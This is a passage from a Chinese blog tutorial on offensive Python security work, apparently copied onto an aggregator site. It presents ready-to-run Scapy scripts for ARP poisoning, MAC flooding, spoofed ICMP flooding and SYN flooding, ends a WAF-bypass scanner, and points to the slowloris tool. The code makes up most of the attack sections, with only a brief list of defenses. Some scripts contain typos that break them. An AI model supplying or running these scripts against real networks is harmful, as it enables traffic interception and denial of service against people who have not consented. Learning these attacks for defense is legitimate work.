            sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">"完成进度:%s/%s \r"</span> <span class="token operator">%</span><span class="token punctuation">(</span>num<span class="token punctuation">,</span><span class="token builtin">len</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
            sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>flush<span class="token punctuation">(</span><span class="token punctuation">)</span>
            res <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url <span class="token operator">=</span> url<span class="token punctuation">,</span>headers <span class="token operator">=</span> headers<span class="token punctuation">)</span>
            <span class="token keyword">if</span> <span class="token string">"攻击请求"</span> <span class="token keyword">not</span> <span class="token keyword">in</span> res<span class="token punctuation">.</span>text<span class="token punctuation">:</span>
                <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[0;33m[*]Find BypassWAF Payload:\033[0m"</span><span class="token operator">+</span>url<span class="token punctuation">)</span>               

</code></pre> 
  <p></p> 
  <p><br> <a href="http://img.e-com-net.com/image/info8/61ad6e286257429f963a7b5f008258fd.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/61ad6e286257429f963a7b5f008258fd.jpg" alt="Python安全攻防-从入门到入狱_第37张图片" width="650" height="415" style="border:1px solid black;"></a></p> 
  <h2>九、Scapy进劫</h2> 
  <h3>ARP毒化</h3> 
  <blockquote> 
   <p><strong>ARP(地址解析协议)<strong>是</strong>数据链路层</strong>的协议,主要负责根据网络层地址(ip)来获取数据链路层地址(MAC)。</p> 
   <p><strong>ARP毒化</strong>虽然是一种比较老的渗透测试技术,但是在信息搜集方面能发挥出很不错的效果.通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有许多意外的"收获"。</p> 
  </blockquote> 
  <p><code>以太网协议规定,同—局域网中的一台要和另一台进行直接通信,必须知道目标主机的MAC地址。而在TCP/IP中,网络层只关注目标主机的IP地址,这就导致在以太网中使用IP协议时,数据链路层的以太网协议接收到网络层的IP协议提供的数据中,只包含目的主机的IP地址,于是需要ARP来完成IP地址到MAC地址的转换。</code></p> 
  <p><code>ARP是建立在网络中各个主机互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项,则会对其进行更新。由此,攻击者可以向受害主机发送伪ARP应答包,毒化受害主机的ARP缓存表。</code></p> 
  <p><code>kali的IP地址:192.168.12.128 MAC地址为:00:0c:29:c5:a5:bb</code><br> <code>目标网关的IP地址:192.168.12.2 MAC地址为:00:50:56:e6:e8:7d</code></p> 
  <p><code>毒化前</code><br> <a href="http://img.e-com-net.com/image/info8/762a00ca562f47f98ec02e87b75667fc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/762a00ca562f47f98ec02e87b75667fc.jpg" alt="Python安全攻防-从入门到入狱_第38张图片" width="650" height="165" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/44a5248242704f77ac82a8546a7df534.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/44a5248242704f77ac82a8546a7df534.png" alt="Python安全攻防-从入门到入狱_第39张图片" width="588" height="274" style="border:1px solid black;"></a></p> 
  <pre><code class="prism language-python"><span class="token comment"># ARP毒化脚本</span>
<span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>
<span class="token keyword">import</span> re 
<span class="token keyword">import</span> time
<span class="token keyword">import</span> sys
<span class="token keyword">import</span> os
<span class="token keyword">import</span> optparse

<span class="token comment"># 编写ARP毒化函数,对目标主机以及网关不断发送ARP应答包来不断毒化</span>
<span class="token keyword">def</span> <span class="token function">poison</span><span class="token punctuation">(</span>targetIP<span class="token punctuation">,</span>gatewayIP<span class="token punctuation">,</span>ifname<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token comment"># 毒化主机的MAC地址</span>
    targetMAC <span class="token operator">=</span> <span class="token string">"00:0c:29:c5:a5:bb"</span>
    <span class="token comment"># 网关的MAC地址</span>
    gatewayMAC <span class="token operator">=</span> <span class="token string">"00:50:56:e6:e8:7d"</span>
    <span class="token keyword">if</span> targetMAC <span class="token keyword">and</span> gatewayMAC<span class="token punctuation">:</span>
        <span class="token comment"># 用while持续毒化</span>
        <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
            <span class="token comment"># 对目标主机进行毒化</span>

            sendp<span class="token punctuation">(</span>Ether<span class="token punctuation">(</span>src<span class="token operator">=</span>lmac<span class="token punctuation">,</span>dst<span class="token operator">=</span>targetMAC<span class="token punctuation">)</span><span class="token operator">/</span>ARP<span class="token punctuation">(</span>hwsrc<span class="token operator">=</span>lmac<span class="token punctuation">,</span>hwdst<span class="token operator">=</span>targetMAC<span class="token punctuation">,</span>psrc<span class="token operator">=</span>gatewayIP<span class="token punctuation">,</span>pdst<span class="token operator">=</span>targetIP<span class="token punctuation">,</span>op<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span>iface<span class="token operator">=</span>ifname<span class="token punctuation">,</span>verbose<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>
            
            <span class="token comment">#对网关进行毒化</span>
            sendp<span class="token punctuation">(</span>Ether<span class="token punctuation">(</span>src<span class="token operator">=</span>lmac<span class="token punctuation">,</span>dst<span class="token operator">=</span>gatewayMAC<span class="token punctuation">)</span><span class="token operator">/</span>ARP<span class="token punctuation">(</span>hwsrc<span class="token operator">=</span>lmac<span class="token punctuation">,</span>hwdst<span class="token operator">=</span>gatewayMAC<span class="token punctuation">,</span>psrc<span class="token operator">=</span>targetIP<span class="token punctuation">,</span>pdst<span class="token operator">=</span>gatewayIP<span class="token punctuation">,</span>op<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span>iface<span class="token operator">=</span>ifname<span class="token punctuation">,</span>verbose<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>

            time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>
    
    <span class="token keyword">else</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"目标主机/网关主机IP有误,请检查!"</span><span class="token punctuation">)</span>
        sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>

<span class="token comment"># 编写main函数,添加相关参数以及开启系统路由转发功能</span>

<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    parser <span class="token operator">=</span> optparse<span class="token punctuation">.</span>OptionParser<span class="token punctuation">(</span><span class="token string">'usage:python %prog -r targetIP -g gatewayIP -i iface \n\n'</span><span class="token punctuation">)</span>
    
    <span class="token comment"># 添加目标主机参数 -r</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-r'</span><span class="token punctuation">,</span><span class="token string">'--rhost'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'rhost'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'192.168.12.1'</span><span class="token punctuation">,</span><span class="token builtin">type</span> <span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span> <span class="token operator">=</span><span class="token string">'target host'</span><span class="token punctuation">)</span>

    <span class="token comment"># 添加网关参数 -g</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-g'</span><span class="token punctuation">,</span><span class="token string">'--gateway'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'gateway'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'192.168.1.254'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'target gateway'</span><span class="token punctuation">)</span>

    <span class="token comment"># 添加网卡参数 -i</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-i'</span><span class="token punctuation">,</span><span class="token string">'--iface'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'iface'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'eth0'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'interfaces name'</span><span class="token punctuation">)</span>

    <span class="token punctuation">(</span>options<span class="token punctuation">,</span>args<span class="token punctuation">)</span> <span class="token operator">=</span> parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>
    lmac <span class="token operator">=</span> get_if_hwaddr<span class="token punctuation">(</span>options<span class="token punctuation">.</span>iface<span class="token punctuation">)</span>
    lip <span class="token operator">=</span> get_if_addr<span class="token punctuation">(</span>options<span class="token punctuation">.</span>iface<span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"===开始进行ARP毒化==="</span><span class="token punctuation">)</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        poison<span class="token punctuation">(</span>options<span class="token punctuation">.</span>rhost<span class="token punctuation">,</span>options<span class="token punctuation">.</span>gateway<span class="token punctuation">,</span>options<span class="token punctuation">.</span>iface<span class="token punctuation">)</span>
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"===停止ARP毒化"</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"===停止路由转发功能==="</span><span class="token punctuation">)</span>
        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">"echo 1 >> /proc/sys/net/ipv4/ip_forward"</span><span class="token punctuation">)</span>
        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">"sysct1 net.ipv4.ip_forward"</span><span class="token punctuation">)</span>
</code></pre> 
  <p><code>毒化后</code><br> <a href="http://img.e-com-net.com/image/info8/b09d3838918c449d80bdf11bb4b310a7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b09d3838918c449d80bdf11bb4b310a7.jpg" alt="Python安全攻防-从入门到入狱_第40张图片" width="602" height="101" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/b840b80ea9984fa4b311fe04ce27c9f4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b840b80ea9984fa4b311fe04ce27c9f4.jpg" alt="Python安全攻防-从入门到入狱_第41张图片" width="650" height="230" style="border:1px solid black;"></a></p> 
  <h3>Dos</h3> 
  <blockquote> 
   <p><font size="5" face="黑体" color="#0099ff">拒绝服务攻击</font>(DenialofServjce,DoS)使计算机或网络无法提供正常的服务,是黑客常用的攻击手段之—。常见的DoS攻击包括计算机网络带宽攻击和连通性攻击两种类型。<br> <strong>带宽攻击</strong>是指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过。<br> <strong>连通性攻击</strong>指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终导致计算机无法再处理合法的用户请求。</p> 
  </blockquote> 
  <p><font face="STCAIYUN">常用的拒绝服务攻击手段包括:</font><br> <font size="3" color="#d50000">同步洪流</font>、<font size="3" color="#f50057">WinNuke</font>、<font size="3" color="#d500f9">死亡之PING</font>、<font size="3" color="#651fff">Echl攻击</font>、<font size="3" color="#3d5afe">ICMP/SMURF</font>、<font size="3" color="#448aff">Finger炸弹</font>、<font size="3" color="#40c4ff">Land攻击</font>、<font size="3" color="#84ffff">Ping洪流</font>、<font size="3" color="#64ffda">Rwhod</font>、<font size="3" color="#b9f6ca">tearDrop</font>、<font size="3" color="#ccff90">TARGA3</font>、<font size="3" color="#f4ff81">UDP攻击</font>、<font size="3" color="#ffe57f">OOB</font>等。实际上拒绝服务攻击并不是一个攻击方式,而是指一类具有相似特征的攻击方式。黑客可能会利用TCP/IP协议层中的<strong>数据链路层</strong>、<strong>网络层</strong>、<strong>传输层</strong>和<strong>应用层各种协议</strong>漏洞发起拒绝服务攻击。</p> 
  <h4>数据链路层Dos-MAC泛洪攻击</h4> 
  <blockquote> 
   <p>数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去。此时若攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据了。</p> 
  </blockquote> 
  <p><code>当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机查询CAM,若不存在该信息,就会不断进行记录。短时间内’大量请求会导致CAM被填满,失去交换机原有的功能。</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>
<span class="token keyword">import</span> optparse

<span class="token keyword">def</span> <span class="token function">attack</span><span class="token punctuation">(</span>interface<span class="token punctuation">)</span><span class="token punctuation">:</span>
    pkt <span class="token operator">=</span>Ether<span class="token punctuation">(</span>src<span class="token operator">=</span>RandMAC<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>dst<span class="token operator">=</span>RandMAC<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">/</span>IP<span class="token punctuation">(</span>src<span class="token operator">=</span>RandIP<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>dst<span class="token operator">=</span>RandIP<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">/</span>ICMP<span class="token punctuation">(</span><span class="token punctuation">)</span>
    sendp<span class="token punctuation">(</span>pkt<span class="token punctuation">,</span>iface<span class="token operator">=</span>interface<span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    parser <span class="token operator">=</span>optparse<span class="token punctuation">.</span>OptionParser<span class="token punctuation">(</span><span class="token string">"%prog "</span><span class="token operator">+</span><span class="token string">"-i interface"</span><span class="token punctuation">)</span>

    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-i'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'interface'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'eth0'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'Interface'</span><span class="token punctuation">)</span>
    <span class="token punctuation">(</span>options<span class="token punctuation">,</span>args<span class="token punctuation">)</span><span class="token operator">=</span>parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>
    interface <span class="token operator">=</span> options<span class="token punctuation">.</span>interface
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
            attack<span class="token punctuation">(</span>interface<span class="token punctuation">)</span>
    
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'--------------------'</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'Finished!'</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> __name__ <span class="token operator">==</span><span class="token string">'__main__'</span><span class="token punctuation">:</span>
    main<span class="token punctuation">(</span><span class="token punctuation">)</span>

</code></pre> 
  <p><code>wireshark</code><br> <a href="http://img.e-com-net.com/image/info8/66026c3cabd14e5f81a0ba94d06c7945.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/66026c3cabd14e5f81a0ba94d06c7945.jpg" alt="Python安全攻防-从入门到入狱_第42张图片" width="650" height="264" style="border:1px solid black;"></a></p> 
  <h4>网络层Dos-死亡之Ping</h4> 
  <p><code>控制多个僵尸主机一同向目标主机发送数据时,会出现"死亡之ping",使目标主机岩机.</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> sys
<span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>

<span class="token keyword">def</span> <span class="token function">start</span><span class="token punctuation">(</span>argv<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">)</span><span class="token operator"><</span><span class="token number">2</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token string">" <target_ip>"</span><span class="token punctuation">)</span>
        sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>
    psrc <span class="token operator">=</span> <span class="token string">"6.6.6.6"</span>
    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
        pdst <span class="token operator">=</span> sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>
        send<span class="token punctuation">(</span>IP<span class="token punctuation">(</span>src<span class="token operator">=</span>psrc<span class="token punctuation">,</span>dst<span class="token operator">=</span>pdst<span class="token punctuation">)</span><span class="token operator">/</span>ICMP<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
s
<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    <span class="token comment"># 定义异常</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        start<span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"interrupted by user,killing all threads...."</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/b566bac800774d0a8ec77829968664c2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b566bac800774d0a8ec77829968664c2.jpg" alt="Python安全攻防-从入门到入狱_第43张图片" width="650" height="403" style="border:1px solid black;"></a></p> 
  <h4>传输层Dos-SYN拒绝服务攻击</h4> 
  <blockquote> 
   <p>1️⃣攻击者向目标计算机发送一个TCP SYN报文。<br> 2️⃣目标计算机收到这个报文后,建立TCP连接控制结构,并回应一个ACK,等待发起者的回应。<br> 3️⃣发起者则不向目标计算机回应ACK报文,这样导致目标计算机一直处于等待状态。</p> 
  </blockquote> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> sys
<span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>

<span class="token keyword">def</span> <span class="token function">start</span><span class="token punctuation">(</span>argv<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">)</span><span class="token operator"><</span><span class="token number">2</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span><span class="token string">" <target_ip"</span><span class="token punctuation">)</span>
        sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>
    psrc <span class="token operator">=</span> <span class="token string">'6.6.6.6'</span>
    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
        pdst <span class="token operator">=</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>
        send<span class="token punctuation">(</span>IP<span class="token punctuation">(</span>src<span class="token operator">=</span>psrc<span class="token punctuation">,</span>dst<span class="token operator">=</span>pdst<span class="token punctuation">)</span><span class="token operator">/</span>TCP<span class="token punctuation">(</span>dport<span class="token operator">=</span><span class="token number">443</span><span class="token punctuation">,</span>flag<span class="token operator">=</span><span class="token string">'S'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    <span class="token comment"># 定义异常</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        start<span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"interrupted by user, killing all threads......"</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/a4a4d341240543eabbcc1e6dd47290bc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/a4a4d341240543eabbcc1e6dd47290bc.jpg" alt="Python安全攻防-从入门到入狱_第44张图片" width="650" height="402" style="border:1px solid black;"></a></p> 
  <h4>应用层Dos-Slowloris攻击</h4> 
  <blockquote> 
   <p>位于<strong>应用层</strong>的协议有很多,常见的包括HTTP、FTP、DNS、DHCP等。<br> 其中<strong>应用层</strong>中的每一个协议都有可能被用来发起拒绝服务攻击。不同于其他层,应用层拒绝服务攻击已经完成了TCP的三次握手,建立起了连接,所以发起攻击的IP地址都是真实的。常见的应用层拒绝服务攻击有CC(ChallengeCollapasar)攻击、Slowloris攻击、ServerLimitDOS等。</p> 
  </blockquote> 
  <p><strong>Slowloris攻击</strong><br> <code>以极低的速度向服务器发送HTTP请求。由于WebServer对于并发的连接数都有一定的上限,因此若恶意地占用这些连接不释放,那么WebServe的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。</code></p> 
  <p><code>pip install slowloris</code> <strong>安装</strong><br> </p> 
  <h4>防御策略</h4> 
  <p>1️⃣关闭不需要的服务和端口,实现服务最小化,让服务器提供专门服务。<br> 2️⃣安装查杀病毒的软硬件产品,及时更新病毒库。尽量避免因为软件漏洞而引起的拒绝服务,定期扫描现有的主机和网络节点,对安全漏洞和不规范的安全配置进行及时整改,对先前的漏洞及时打补丁。<br> 3️⃣经常检测网络和主机的脆弱性,查看网上漏洞数据库,以减少或避免主机成为肉鸡的可能性。<br> 4️⃣建立多节点的负载均衡,配备高于业务需求的带宽,建立多个网络出口,提高服务器的运算能力。</p> 
  <h2>十、完结</h2> 
  <blockquote> 
   <p>来来回回写了两星期⏰了,边学️边写✍️,归,收获很多。<br> <code>明天大年初一,给CSDN的大佬们拜个年</code><br> <strong>本人一名小小的网络安全爱好者,如若文章有错误和不妥之处,敬请大佬们请教指正</strong>。</p> 
  </blockquote> 
 </div> 
</div>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1498531081861791744"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(Python安全攻防,python,安全,网络)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1950233451282100224.htm"
                           title="python 读excel每行替换_Python脚本操作Excel实现批量替换功能" target="_blank">python 读excel每行替换_Python脚本操作Excel实现批量替换功能</a>
                        <span class="text-muted">weixin_39646695</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E8%AF%BBexcel%E6%AF%8F%E8%A1%8C%E6%9B%BF%E6%8D%A2/1.htm">读excel每行替换</a>
                        <div>Python脚本操作Excel实现批量替换功能大家好,给大家分享下如何使用Python脚本操作Excel实现批量替换。使用的工具Openpyxl,一个处理excel的python库,处理excel,其实针对的就是WorkBook,Sheet,Cell这三个最根本的元素~明确需求原始excel如下我们的目标是把下面excel工作表的sheet1表页A列的内容“替换我吧”批量替换为B列的“我用来替换的</div>
                    </li>
                    <li><a href="/article/1950231254427299840.htm"
                           title="我不懂什么是爱,但我给你全部我拥有的" target="_blank">我不懂什么是爱,但我给你全部我拥有的</a>
                        <span class="text-muted">香尧</span>

                        <div>因为怕黑,所以愿意陪伴在夜中行走的人,给他一点点的安全感。因为渴望温柔与爱,所以愿意为别的孩子付出爱与温柔。因为曾遭受侮辱和伤害,所以不以同样的方式施于其他人。如果你向别人出之以利刃,对方还了你爱与包容,真的不要感激他,真的不要赞美他。每一个被人伤害过的人心里都留下了一颗仇恨的种子,他也会想要有一天以眼还眼,以牙还牙。但他未让那颗种子生根发芽,他用一把心剑又一次刺向他自己,用他血荐仇恨,开出一朵温</div>
                    </li>
                    <li><a href="/article/1950228031117258752.htm"
                           title="深入解析JVM工作原理:从字节码到机器指令的全过程" target="_blank">深入解析JVM工作原理:从字节码到机器指令的全过程</a>
                        <span class="text-muted"></span>

                        <div>一、JVM概述Java虚拟机(JVM)是Java平台的核心组件,它实现了Java"一次编写,到处运行"的理念。JVM是一个抽象的计算机器,它有自己的指令集和运行时内存管理机制。JVM的主要职责:加载:读取.class文件并验证其正确性存储:管理内存分配和垃圾回收执行:解释或编译字节码为机器指令安全:提供沙箱环境限制恶意代码二、JVM架构详解JVM由三个主要子系统组成:1.类加载子系统类加载过程分为</div>
                    </li>
                    <li><a href="/article/1950227570091945984.htm"
                           title="叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规!受骗不能提现出金被骗真相曝光!" target="_blank">叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规!受骗不能提现出金被骗真相曝光!</a>
                        <span class="text-muted">天权顾问</span>

                        <div>量化北恒私募实盘大赛周一丰投票项目安全吗?量化北恒私募实盘大赛周一丰积分投票已经亏损被骗了怎么办?警惕!量化北恒私募实盘大赛周一丰十选五项目合法吗——杀猪盘骗局!被骗提不了款!提不了现!出不来金!不要上当!自古有句话讲得好“人善被欺、马善被骑”,现如今也是被骗子利用到了极致,人善就真该被欺骗吗?狡猾的骗子们就利用到了这点,利用同情心、爱心去进行诈骗,宣传公益捐款、爱心慈善打比赛来骗取资金!正常的投</div>
                    </li>
                    <li><a href="/article/1950225255079407616.htm"
                           title="企业级区块链平台Hyperchain核心原理剖析" target="_blank">企业级区块链平台Hyperchain核心原理剖析</a>
                        <span class="text-muted">boyedu</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E7%BA%A7%E5%8C%BA%E5%9D%97%E9%93%BE%E5%B9%B3%E5%8F%B0/1.htm">企业级区块链平台</a><a class="tag" taget="_blank" href="/search/Hyperchain/1.htm">Hyperchain</a>
                        <div>Hyperchain作为国产自主可控的企业级联盟区块链平台,其核心原理围绕高性能共识、隐私保护、智能合约引擎及可扩展架构展开,通过多模块协同实现企业级区块链网络的高效部署与安全运行。以下从核心架构、关键技术、性能优化、安全机制、应用场景五个维度展开剖析:一、核心架构:分层解耦与模块化设计Hyperchain采用分层架构,将区块链功能解耦为独立模块,支持灵活组合与扩展:P2P网络层由验证节点(VP)</div>
                    </li>
                    <li><a href="/article/1950223879330918400.htm"
                           title="第八章 竟然是他" target="_blank">第八章 竟然是他</a>
                        <span class="text-muted">橥橥</span>

                        <div>十天之后,京城已在眼前。沐子莹总算松了口,天子脚下,相对安全。马车在城门外停下,杨嬷嬷掀了帘子往外望去,哀叹了一声。沐子莹拍拍身上的灰尘安慰她说:“嬷嬷,别怕,马上就要到府了,咱们可得把那车夫的事跟主母讲一讲,让主她这个当家的给我们作主才是。”嬷嬷却连连摆手,“不可啊小姐,咱们能平安回府就是幸事,车夫的事……就说他摔死在半路,其它的,莫要再提了吧。”“若真是车夫生事那算是万幸了,只怕容不得我们的,</div>
                    </li>
                    <li><a href="/article/1950223497875746816.htm"
                           title="最新阿里四面面试真题46道:面试技巧+核心问题+面试心得" target="_blank">最新阿里四面面试真题46道:面试技巧+核心问题+面试心得</a>
